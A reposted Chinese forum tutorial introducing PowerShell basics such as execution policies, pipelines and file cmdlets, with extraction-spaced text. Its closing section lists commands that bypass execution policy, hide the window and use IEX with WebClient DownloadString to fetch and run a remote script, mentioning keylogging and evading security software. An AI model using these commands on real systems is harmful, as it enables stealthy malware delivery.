搜索

[18383] 2021-07-15_PowerShell入门学习

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-07-15_PowerShell入门学习 P o w e r S h e l l 入 门 学 习 H a c k e r G u   H A C K 之 道   2 0 2 1 - 0 7 - 1 5 收 录 于 话 题   # p o w e r s h e l l   , 2 个 P o w e r S h e l l 简 介 简 介 P o w e r S h e l l 是 一 种 命 令 行 外 壳 程 序 和 脚 本 环 境 ， 它 置 于 W i n d o w s 7 / W i n d o w s   S e r v e r 2 0 0 8   R 2 及 以 上 更 高 的 版 本 中 。 它 可 以 执 行 L i n u x 系 统 下 的 一 些 命 令 ， 这 是 非 常 强 大 的 一 点 。 它 的 脚 本 后 缀 为 （ . p s 1 ） ， 可 在 磁 盘 中 执 行 ， 也 可 无 需 写 入 磁 盘 直 接 在 内 存 中 运 行 。 P o w e r S h e l l 的 优 点 的 优 点 1 、 W i n d o w s 7 以 上 的 操 作 系 统 默 认 安 装 。 2 、 P o w e r S h e l l 脚 本 可 以 运 行 在 内 存 中 ， 不 需 要 写 入 磁 盘 。 3 、 可 以 从 另 一 个 系 统 中 下 载 P o w e r S h e l l 脚 本 并 执 行 。 4 、 目 前 很 多 工 具 都 是 基 于 P o w e r S h e l l 开 发 的 。 5 、 很 多 安 全 软 件 并 不 能 检 测 到 P o w e r S h e l l 的 活 动 。 6 、 c m d . e x e 通 常 会 被 阻 止 运 行 ， 但 是 P o w e r S h e l l 不 会 。 7 、 可 以 用 来 管 理 活 动 目 录 。 使 用 命 令 查 看 P o w e r S h e l l 版 本 ： 或 者 经 测 试 ， P o w e r S h e l l 不 区 分 大 小 写 ： G e t - H o s t $ P S V e r s i o n T a b l e . P S V E R S I O N
P o w e r S h e l l 的 基 本 概 念 的 基 本 概 念 P S 1 文 件 文 件 P o w e r S h e l l 脚 本 就 是 一 个 简 单 的 脚 本 文 件 ， 包 含 了 一 系 列 的 P o w e r S h e l l 命 令 ， 每 个 命 令 显 示 为 独 立 的 一 行 。 P S 脚 本 文 件 的 后 缀 为 （ . p s 1 ） 。 执 行 策 略 执 行 策 略 为 了 防 止 恶 意 脚 本 的 执 行 ， P o w e r S h e l l 有 一 个 执 行 策 略 ， 默 认 情 况 下 ， 执 行 策 略 被 设 为 受 限 。 使 用 命 令 确 定 当 前 的 执 行 策 略 ： 因 为 之 前 我 在 本 机 上 没 有 执 行 过 P o w e r S h e l l 的 任 何 脚 本 ， 所 以 P S 的 执 行 策 略 为 默 认 设 置 即 受 限 （ R e s t r i c t e d ） 。 P o w e r S h e l l 具 有 四 种 执 行 策 略 分 别 为 ： 1 、 R e s t r i c t e d ： 脚 本 不 能 运 行 （ 默 认 设 置 ） 。 2 、 R e m o t e S i g n e d ： 本 地 创 建 的 脚 本 可 运 行 ， 网 上 下 载 的 带 数 字 证 书 签 名 的 脚 本 可 运 行 。 3 、 A l l S i g n e d ： 仅 当 脚 本 由 受 信 任 的 发 布 者 签 名 时 才 能 运 行 。 4 、 U n r e s t r i c t e d ： 允 许 所 有 的 脚 本 运 行 。 使 用 命 令 设 置 P o w e r S h e l l 的 执 行 策 略 ： 将 执 行 策 略 设 置 为 允 许 所 有 脚 本 运 行 ： 第 一 次 执 行 爆 红 了 ， 提 示 我 们 需 要 以 管 理 员 身 份 运 行 P o w e r S h e l l ， 所 以 修 改 执 行 策 略 的 时 候 需 要 管 理 员 身 份 。 G e t - E x e c u t i o n P o l i c y S e t - E x e c u t i o n P o l i c y   < p o l i c y   n a m e > S e t - E x e c u t i o n P o l i c y   U n r e s t r i c t e d
以 管 理 员 的 身 份 进 行 修 改 就 o k 了 。 再 次 查 看 执 行 策 略 ， 策 略 被 修 改 ： 运 行 脚 本 运 行 脚 本 运 行 P S 脚 本 ， 必 须 键 入 完 整 的 路 径 和 文 件 名 ， 例 如 若 此 P S 脚 本 恰 好 在 刚 好 位 于 当 前 处 在 的 目 录 中 ， 可 以 直 接 在 脚 本 名 前 加 以 运 行 脚 本 ， 例 如 。 管 道 管 道 管 道 的 作 用 是 将 一 个 命 令 的 输 出 作 为 另 一 个 命 令 的 输 入 ， 以 符 号 连 接 。 的 意 思 是 获 取 以 ” p ” 字 符 开 头 的 程 序 C : S c r i p t s a . p s 1 . . a . p s 1 | g e t - p r o c e s s   p * g e t - p r o c e s s   p *   |   s t o p - p r o c e s s
则 是 关 掉 以 ” p ” 字 符 开 头 的 程 序 。 P o w e r S h e l l 常 用 命 令 常 用 命 令 基 本 知 识 基 本 知 识 P S 的 命 令 都 采 用 ” 动 词 + 名 词 ” 的 形 式 。 关 于 文 件 操 作 的 命 令 ： 1 、 新 建 目 录 ： — — M D 函 数 ， 它 内 部 调 用 的 是 N e w - I t e m 命 令 ， 指 定 参 数 – t y p e 的 值 为 D i r e c t o r y 2 、 新 建 文 件 m d   t e s t 1 n e w - i t e m   t e s t 2 . t x t   - t y p e   d i r e c t o r y n e w - i t e m   t e s t . t x t   - t y p e   f i l e
3 、 删 除 目 录 4 、 显 示 文 本 的 内 容 5 、 设 置 文 本 的 内 容 在 这 里 看 出 ， 如 果 本 来 文 件 中 有 内 容 ， 但 使 用 此 命 令 ， 原 来 的 内 容 就 会 消 失 ， 等 于 重 置 。 6 、 追 加 内 容 可 以 看 到 追 加 的 内 容 ， 追 加 在 下 一 行 。 7 、 清 除 内 容 r e m o v e - i t e m   t e s t 1 g e t - c o n t e n t   t e s t . t x t s e t - c o n t e n t   t e s t . t x t   - v a l u e   " a g a i n   H e l l o   W o r l d ! " a d d - c o n t e n t   t e s t . t x t   - v a l u e   " 今 天 是 情 人 节 ！ " c l e a r - c o n t e n t   t e s t . t x t
可 以 看 到 内 容 被 清 除 。 常 用 命 令 常 用 命 令 1 、 绕 过 本 地 权 限 执 行 2 、 本 地 隐 藏 绕 过 权 限 执 行 脚 本 3 、 用 I E X 下 载 远 程 P S 1 脚 本 绕 过 权 限 执 行 绕 过 执 行 安 全 策 略 隐 藏 窗 口 P o w e r S h e l l 控 制 台 不 加 载 当 前 用 户 的 配 置 文 件 启 动 不 显 示 版 权 标 志 的 P o w e r S h e l l 非 交 互 模 式 ， P o w e r S h e l l 不 为 用 户 提 供 交 互 的 提 示 执 行 后 不 退 出 s h e l l （ 常 用 于 键 盘 记 录 ） E N D 作 者 ： H a c k e r G u 文 章 来 源 于 h t t p s : / / h a c k e r g u . c o m / ● 干 货 干 货 | 渗 透 学 习 资 料 大 集 合 （ 书 籍 、 工 具 、 技 术 文 档 、 视 频 教 程 ） 渗 透 学 习 资 料 大 集 合 （ 书 籍 、 工 具 、 技 术 文 档 、 视 频 教 程 ） P o w e r S h e l l . e x e   - E x e c u t i o n P o l i c y   B y p a s s   - F i l e   x x x . p s 1 P o w e r S h e l l . e x e   - E x e c u t i o n P o l i c y   B y p a s s   - W i n d o w S t y l e   H i d d e n   - N o L o g o   - N o n l n t e r a c t i v e   - N o P r o f i l e   - F i l e   x x x . p s 1 P o w e r S h e l l . e x e   - E x e c u t i o n P o l i c y   B y p a s s   - W i n d o w S t y l e   H i d d e n - N o P r o f i l e - N o n I   I E X ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( " x x x . p s 1 " ) ; [ P a r a m e t e r s ] E x e c u t i o n P o l i c y   B y p a s s W i n d o w S t y l e   H i d d e n N o P r o f i l e N o l L o g o N o n l n t e r a c t i v e N o e x i t
如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 赞 ” “ 在 看 在 看 ” 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理